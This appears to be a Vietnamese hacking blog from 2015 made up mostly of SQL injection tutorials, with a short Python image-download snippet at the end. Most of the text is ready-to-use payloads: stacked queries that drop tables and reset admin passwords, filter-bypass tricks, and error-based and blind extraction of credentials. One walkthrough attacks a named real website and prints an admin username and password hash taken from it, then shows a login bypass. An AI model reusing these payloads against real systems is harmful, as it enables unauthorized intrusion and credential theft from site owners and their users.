Thứ Hai, 9 tháng 11, 2015

Truy vấn SQL

1 Số truy vấn khác

-Tạo 1 table_name:

;drop table root create table kai (id int identity,root varchar(99999)) insert into root select table_name from information_schema.tables--sp_password

-Thay đổi pass admin: lấy vd trên nếu như username :root/pass:root

;UPDATE table1 SET password = 'root' WHERE username='root'--

-Chèn 1 record mới vào table

;INSERT INTO 'table1' ('ID', 'username', 'password', 'details') VALUES (99,'root','root','Online')--

-Tìm tất cả các table có liên quan như: admin,user,member,account,login...

and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like '%admin%' or table_name like '%Member%' or table_name like '%User%' or table_name like '%account%' or table_name like '%login%'))--sp_password

and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('') and (table_name like '%25admin%25' or table_name like '%25Member%25' or table_name like '%25User%25' or table_name like '%25account%25' or table_name like '%25login%25')))--sp_password

-Lấy tất cả các table_name:

; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2btable_name%2b'/' from information_schema.tables select @temp as id into root end--

or 1=(select id from root)--

; drop table root--

-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin

; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2bcolumn_name%2b'/' from information_schema.columns where table_name='tbadmin' select @temp as id into root end--

or 1=(select id from root)--

I. Cách vá lỗi:
1. Mởi php.ini và set magic_quotes_gcp thành On
Nó sẽ chèn “\” trước (‘) có trong:
-COOKIE
-POST
-GET

2. Sử dụng hàm addslashes() để “gói” chuỗi bằng dấu “/”

3. Sử dụng hàm htmlspecialchars(), mysql_escape_string() … để mã hoá kí tự đặc biệt trong câu truy vấn

4. Ép kiểu:
- Ta biết id của một đối tượng (user, category, box, product …) luôn là kiểu số nguyên, vì vậy ta dùng:
Quote:
$id = (int)$_POST['id'];
hoặc
$id = (int)$_GET['id'];
Giải thích về vá lỗi :
3 cách đầu: Nếu nhập vào abc’ đi , thì nó sẽ hiểu là một chuỗi chứ không phải là abc rồi dấu ‘ riêng

Cách thứ 4: là nếu nhập chuỗi thì nó ép thành số tương ứng, mà số thì . . .

Bypass SQL injection - Phần 2

Khi query 1 số site chặn các hàm union,select,convert...thì khi query nó trả về trang trắng, lúc này ta thay đổi 1 số chữ Hoa, thường xen kẽ nhau: UniON, SeLECt... hoặc conveter sang ascii
- Khi query cũng có 1 số site trả về trang trắng, thì ta nhìn kỹ trên site nha,kể cả title site.Nếu ko thấy ae view source sẽ thấy
- 1 số query table_name không hiện ra , ta unhex(hex(group_concat(table_name))
- Khi query nó trả về thế này
Forbidden
You don't have permission to access /news.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Hoặc

Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request
Thì ta dùng /*! */ (VD: /*!union*/ hoặc /*!select*/ hoặc information_schema./*!tables*/..vv)

-Nếu query nó ra thế này:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!

Thì các bạn cần tư duy chút. VD: các bạn có thể thay space = %0A (kí tự xuống dòng) ..vv
1)Comments: (Các kí tự chú thích.)

//, — , /**/, #, –+, — -, ;

2)Case Changing: (Thay đổi các trường hợp)

id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)

3)Inline Comments:(biến đổi thành chú thích)

id=1/*!UnIoN*/SeLeCT

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– -

4)Buffer Overflow:/Unexpected input: (Tràn bộ đệm)

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),u ser(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26
,27,28,29,30,31,32,33,34,35,36–+

5)Replaced keywords(preg_replace and/or WAF’s with the same action):(Lặp lại từ khóa)

id=1+UNIunionON+SeLselectECT+1,2,3–

UNION+SELECT+1,2,3–

6)Charachter encoding:(mã hóa kí tự url encoding)

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+


7)Putting it all together: (các cách waf nâng cao)

7a)Breaking the SQL statement:
Để tìm hiểu chính xác Hãy lọc bạn cần phải phá vỡ SQL cú pháp riêng của bạn và kiểm tra cho các từ khóa được lọc, nhìn thấy nếu từ khóa được lọc một mình hoặc prescence của các từ khóa khác SQL. Ví dụ, nếu UNION+SELECT được tạo một Forbidden hoặc Server Lỗi nội bộ, cố gắng loại bỏ Union và tìm thấy những gì xảy ra chỉ với SELECT và ngược lại

7b)Verbose Errors:
id=1+Select+1,2,3– -----> Error at line 1 near \” \”+1,2,3–

sel%0bect+1,2,3

8)Advanced Bypassing Techniques:
id=1+uni*on+sel*ect+1,2,3–+

id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only

id=1+'UnI'||'on'+SeLeCT' <-MSSQL only

Bypass SQL injection - Phần 1

Một số cách Bypass SQL injection

Một số trick mình hay dùng khi khai thác.Thường thì chỉ chặn select tuy nhiên có 1 vài trường hợp chặn luôn cả khoảng trắng ở url khi đấy thay các ký tự như /**/ + %252f%252a*/ .... muốn tìm thêm thì nhìn vào setting của havij có mấy cái đấy. Nhưng đấy là số ít, giờ ta vào phần chính:

Cách 1: thay ký tự thường bằng ký tự hoa

id=1+UnIoN SeLeCT 1,2,3,4-- -

Cách 2: dùng cặp thẻ /*!code*/

id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)

/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng Union và select

id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:

sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:

group_concat(unhex(hex(table_name)))

cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables
Nguồn:

SQL injection - What is this ?

1. Khái niệm:

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,...

2.kiến thức cần biết:

-dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu thăng (#) và dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
- dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!.
check 1 site SQL injection:



Bình thường để hack 1 site lỗi SQL injection bao gồm các bước :

B 1 : Check
B 2 : Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy )
B3 : Union Select

a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,...
b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.

c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:

· -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này - Sẽ trình bày rõ ở phần sau).

-Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.

Ví Dụ:

http://ww.site.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)
cú pháp

trạng thái
http://ww.site.com/index.php?id=1' lỗi
--------
http://ww.site.com/index.php?id=1" lỗi
--------
http://ww.site.com/index.php?id=1%27 lỗi
--------
http://ww.site.com/index.php?id=1 and 1=0 lỗi

http://ww.site.com/index.php?id=1 and 1=1 không lỗi

share 1 số kinh nghiệm cho ae:

1. Nếu bạn check lỗi SQL Inj ở 1 website mà bạn không thấy lỗi hiện ra thì đừng nên bỏ qua chúng vì nó có thể bị admin làm cho ẩn đi.
2. Nếu không ra số đẹp khi Union thì hãy view Scoure nó lên và tìm, có thể nó ở trong đó.
3. Thay vì thêm ' vào sau id để kiểm tra thì các bạn có thể sử dụng kĩ thuật
sử dụng các phép toán: VD: and 1=1 hiện ra site , and 1=0 hiện ra site báo lỗi =>> Site đã bị dính sql inj
sử dụng các phép toán kiểu true fales: VD: 2>3 ; 2<3

1--1
BETWEEN 1 AND 3
'b' BETWEEN 'a' AND 'c'
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
' uuu' = 'uuu'
ISNULL(NULL)
ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL

Nếu tham số (id) của trang hiện tại là 3, tham số trang sau là 2, nếu ta dùng 3-1 , kết quả trả về là nội dung của trang có id=2 thì 99% là site này dính lỗi SQL Inj

(root.vn)

Order by được sử dụng để làm gì :
-Làm tiết kiệm thời gian attack.
-Nó được sử dụng để tính số field ,column có trong CSDL SQL.

Cú pháp: order by xx (với xx là số nguyên, để hiệu quả nên order by 100 đầu tiên để xác định ta đi đúng hướng)

VD: http://ww.site.com/index.php?id=1 order by 100

Lỗi nhận biết

Error: Unknown column '100' in 'order clause'
--------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

site có hiện tượng khác lạ (dựa vào kinh nghiệm)

Nhưng cũng có site lại phải thêm dấu nháy và dấu -- hoặc -- - hoặc -- a hoặc /* mới order by được

-- : Hiểu đơn giản là tránh bị ghi log
- : Biến đoạn đằng sau dấu - thành chú thích.

Sau đây là các trường hợp thường dùng để Order by :

TH cú pháp Ví dụ
TH1: order by http://ww.site.com/index.php?id=1 order by 100
TH2: ' order by http://ww.site.com/index.php?id=1 ' order by 100
TH3: 'order by http://ww.site.com/index.php?id=1 'order by 100
TH4: chuyển sang union select http://ww.site.com/index.php?id=1 union select 1




Ví Dụ:



http://ww.site.com/index.php?id=1 order by 1-- không lỗi


http://ww.site.com/index.php?id=1 order by 2-- không lỗi


http://ww.site.com/index.php?id=1 order by 3-- không lỗi


http://ww.site.com/index.php?id=1 order by 4-- lỗi


vậy ta thấy site có 3 cột lỗi (vì order by 4 cột --> hiện lỗi)


Sau khi xác định site sqli + check sqli +hệ quản trị SCDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MýQJ vì nó là phổ biến)

Đối với CSDL MyQSL:



Lỗi trả về thường xuất hiện các dấu hiệu sau:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.
Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:
Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)

Tiếp theo ta sử dụng UNION SELECT [ số cột tìm được , được phân cách bằng dấu phẩy]--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,3,4,5,6-- nó sẽ hiện ra những con số

nếu không hiện số:



+viewsource
+Xem file ảnh bị lỗi để thấy số
+Thay số bằng null (vd id=-188 thì thay id=null UNION....)
+Thay các column(field) bằng null (vd :UNION SELECT null,null,....)
+Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+TH hiện ra thông báo thế này: The used SELECT statements have a different number of columns

Union select như sau: id=1+and+1=0+UNION SELECT+1,2...

Hoặc dùng error base:
And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)-- -
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))--
or 1 group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1--

Hoặc dùng blind: and substring(version(),1,1)=5

Tuỳ thời cơ mà biến hoá chúng

Tỉ dụ nó hiện ra số 3.



Công việc tiếp theo của ta là xác định version (Công việc quan trọng nhất)



http://demo.com.vn/index.php?id=-1 Union Select 1,2,version(),4,5,6—



Nếu kết quả trả về :

>>>>Phiên bản lớn hơn hoặc bằng 4 và nhỏ hơn 5: Khai thác như lỗi của CSDL MsAccess (Hack Đoán)
>>>>Phiên bản lớn hơn 5 thì sử dụng cách dưới đây.



Oke, ta đã xác định được phiên bản là lớn hơn 5. ta tiến hành truy vấn.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(table_name) USING latin1),4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(table_name))),4,5,6 From Information_schema.tables--
Tuỳ thời cơ mà biến hoá chúng.
nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(table_name),4,5,6 From Information_schema.tables--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit 17,1--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit n,1--
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,admins
vì đó chỉ là những table của hệ thống thôi, quan trọng là xác định được table chứa admin trong mớ hỗn độn phía trên. VD ta tìm được table chưa thông tin của admin là admins.
Ta tiến hành chuyển chuỗi 'admin' sang dạng hex đẻ dễ khai thác vd chuyển sang là ?
thì ta tiến hành tìm các column trong table admins đó bằng cách



http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(column_name) USING latin1),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(columns_name))),4,5,6 From Information_schema.Columns where table_name=(0x?)--
sau công viẹc này ta đã xác định được 2 cloumn quan trọng nhất , VD là username và password.
Ta tiến hành lấy thông tin. Bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,concat(username,0x2f,password)4,5,6 From admins--
0x2f: là dạng hex của kí tự /


Đối với CSDL MSACCESS:

là loại khó phá nhất trong các site dính SQLInj , lý do không phải do nó bảo mật, mà là do mặc định nó truy cập file mdb không bằng quyền admin, do đó table msysobjects chứa các table của nó ta không thể đụng được. Đụng vào CSDL này là phải blind hack (Hack đoán).
lỗi trả về của loại này thường xuất hiện các dấu hiệu sau: Jet database, ODBC Microsoft Access Driver. Khai thác loai này như sau:
Đầu tiên ta sử dụng lệnh UNION SELECT 1 FROM [Table_name]
[Table_name]: Là tên table bạn đoán nó sẽ chứa thông tin về Username và pasword của Victim. VD: Admin, Admins, Account, Thanhvien, Quantri, User, Users,...
VD: Bạn khai thác: http://demo.com.vn/news.asp?id=72 Union select 1 from admin
lỗi trả về là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e37'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly. (Dịch nôm na là không tồn tại table 'admin' trong CSDL)
đừng nản trí, hãy đoán tiếp http://demo.com.vn/news.asp?id=72 Union select 1 from admins
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.

/news.asp, line 16 (Dịch nôm na là: Số cột không cần bằng khi sử dụng truy vấn với Union)
Đến đây chúng ta đã biết table chứa thông tin về victim là 'admíns' đến lúc này bạn chỉ việc ngồi đếm số cột trong table đó bằng cách Union select 1,2,3,..,n from admins các bạn cứ đếm sao cho nó không báo lỗi nữa mà trên trang đó hiện ra những con số. Đến lúc này bạn lại phải đoán column chứa username và password rồi thay thế chúng vào những con số hiện ra đó sao cho không hiện ra lỗi tức là bạn đã đoán đúng.
VD: Bạn đếm được đến số 5 thì kô còn lỗi, Con số hiện ra đó là 2,3 và column chứa tên đăng nhập của admin là username, column chứa mật khẩu của admin là password thì bạn sẽ khai thác http://demo.com.vn/news.asp?id=72 Union select 1,username,password,4,5 from admins


Đối với CSDL MSSQL:





Lỗi trả về của bọn này thường xúât hiện các dấu hiệu sau:

Microsoft OLE DB Provider for ODBC Drivers ,ODBC SQL Server Driver, Gọi tắt là (lỗi OLE DB)
Cách khai thác bọn này sử dụng kĩ thuật "Magic convert". Kĩ thuật này được sử dụng như sau:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
Hoặc
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('')))--sp_password
Trong bảng Information_schema.tables có chứa tất cả các table trong CSDL (Đây là gót chân Asin của bọn này )

-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('table1','table2',..,'table n')))--sp_password

cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..

Bước 2: Get column

Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1'))--sp_password

vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1' and column_name not in('username')))--sp_password

Nếu tìm được username/password trong table1 thì ta check pass của nó

Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password

and 1=convert(int,(select top 1 username%2b'/'%2bpassword from table1))--sp_password

Phát hiện lỗi "blind sql injection":
- Đối với MY SQL vesion 4 trở xuống.
- để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi

Khai thác:

VD:http://www.site.com/news.php?id=5
Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring('mmdVBF',5,3) kết quả sẽ là neo
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
http://www.site.com/news.php?id=5 and (select 1)=1
nếu site tải thông thường thì subselects làm việc.
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.
kiểm tra table và column:
Đây là một phần khi đoán:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users exits.
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nbaay giờ chúng ta cần column name.
giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
lấy dữ liệu từ cơ sở dữ liệu
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


ok này ở đây get ký tự đầu tiên: user ,trong table users.
that

substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


chúng ta nhận được TRUE, giữ incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE một lần nữa, cao hơn:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


FALSE!!!
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ 'c'.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


TRUE, trang tải bình thường, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107


FALSE, thấp hơn số lượng.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


TRUE, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105


FALSE!!!


(root.vn)

SQL Injection - Victim1

Thêm dấu ‘ vào sau 77 ta được
%27 chính là mã code của dấu nháy đơn ‘
Sau khi ấn enter
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and a.pid=b.id' at line 1
OK, đã phát hiện lỗi SQL injection . Tiếp theo ta dùng hackbar, load url và chèn code như sau
http://www.vdachina.com.cn/en/member.php?id=77 and 1=1
Execute ta thấy trang k có j thay đổi, tiếp tục thử với 1=0
http://www.vdachina.com.cn/en/member.php?id=77 and 1=0
Ồ, toàn bộ data đã mất hết trơn:D tiếp tục nào

Vậy là ta đã đi đúng hướng, tiếp tục với code sau
http://www.vdachina.com.cn/en/member.php?id=77 order by 100-- -
Lưu ý: phải luôn có -- - ở cuối nhé… Sau khi ấn Enter -> Xuất hiện lỗi
Unknown column '100' in 'order clause'
:D Vậy là rõ rồi nhé. Tiếp nào, Lần lượt thử với order by 50, rồi 20, rồi đến 10 , ta thấy order by 7 lỗi (k hiển thị data, nó trống trơn á ) , tiếp tục thử order by 1 đến 6 thấy site k lỗi è có 6 cột :D
Bước tiếp theo là sẽ chọn cột
http://www.vdachina.com.cn/en/member.php?id=77 union select 1,2,3,4,5,6-- -
Oh, vẫn không có lỗi, thử thay 77 thành null (hoặc -77) xem sao
http://www.vdachina.com.cn/en/member.php?id=null union select 1,2,3,4,5,6-- -
:D Xuất hiện số 3 và 4, ta sẽ chọn số 3 nhé. Bước trên k cần bypass bộ lọc union select , một số site khác có thể bạn sẽ phải viết code khác đi, ví dụ viết chữ hoa xen lẫn chữ thường, mã hóa… bằng những cách đã kể ở trên..

OK, để hiện version của database, ta sẽ chọn cột 3 để chèn sql query
http://www.vdachina.com.cn/en/member.php?id=null union select 1,2,version(),4,5,6-- -
Số 3 biến thành 5.0.24 , như vậy là phiên bản >5 rồi


OK giờ ta sẽ lấy tables nhé
http://www.vdachina.com.cn/en/member.php?id=null union select 1,2,table_name,4,5,6 From Information_schema.tables-- -
Wow, đã có 1 số tables hiện ra rồi kìa, CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY,… Ta sẽ gom nhóm nó lại

Danh sách các tables đã lấy được :D
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,wd_admin_user,wd_car,wd_cate,wd_category,wd_dl_file,wd_image,wd_info,wd_member,wd_message,wd_news,wd_order,wd_pro,
Ta chỉ quan tâm đến bảng tô đậm thôi nha (Làm sao tôi biết được ?? à Do kinh nghiệm đoán mò đó ^^ )

Bước tiếp theo ta mã hóa wd_admin_user ra chuỗi hexa , sử dụng google hoặc hackbar luôn nhé. Sau khi mã hóa xong thêm 0x ở đầu chuỗi (số không, k phải chữ O nha) -> wd_admin_user chuyển sang hex sẽ là
0x77645f61646d696e5f75736572
Tiếp theo ta bắt đầu lấy các “cột” có trong bảng wd_admin-user nhé
http://www.vdachina.com.cn/en/member.php?id=null union select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns WHERE table_name=0x77645f61646d696e5f75736572-- -

Bước cuối cùng, ta sẽ lấy user name và password của admin nhé, bảng wd_admin_user có 3 cột là id,user,pwd . Tôi sẽ dùng group_concat() và kí tự 0x7c để in ra (0x7c là mã hex của | )
http://www.vdachina.com.cn/en/member.php?id=null union select 1,2,group_concat(id,0x7c,username,0x7c,pwd),4,5,6 From wd_admin_user-- -

Ok, thành công nhé :D
User: admin
Pass: 7a5682b831447ee4a0e42e61095e0d58
LOGIN
Đến đây có thể mang mã md5 kia đi dịch được rồi, nhưng sẽ k login dc =))) Do đó ta dùng tamper data nhé :x
Bạn login với account
User: admin
Pass : 112233
Ấn Login, OK, false pass :D
Tiếp tục mở Tamper data, xóa hết logs, ấn Start Tamper

Login lại 1 lần nữa, lần này 1 pop-up sẽ bật lên, ấn Tamper > Chỉnh như sau



Thay 112233 thành mã MD5 vừa lấy được ! Lưu ý: Mã md5 gốc nha, k phải chuỗi string đã mã hóa
7a5682b831447ee4a0e42e61095e0d58
Ấn OK, Submit, Và… :D END TUT                                                8/11/15 4:47AM



Thứ Ba, 3 tháng 11, 2015

Tải ảnh từ web với python

import urllib
import random

url = 'http://www.w3schools.com/images/w3schools.png' # << change here

def download_web_image(url):
 name=random.randrange(1,1000) #ngẫu nhiên từ 1-1000
 fullName=str(name)+'.jpg'
 urllib.urlretrieve(url,fullName)

download_web_image(url)


Thay đổi nội dụng url thành file muốn down. :)



import urllib # thư viện làm việc với url

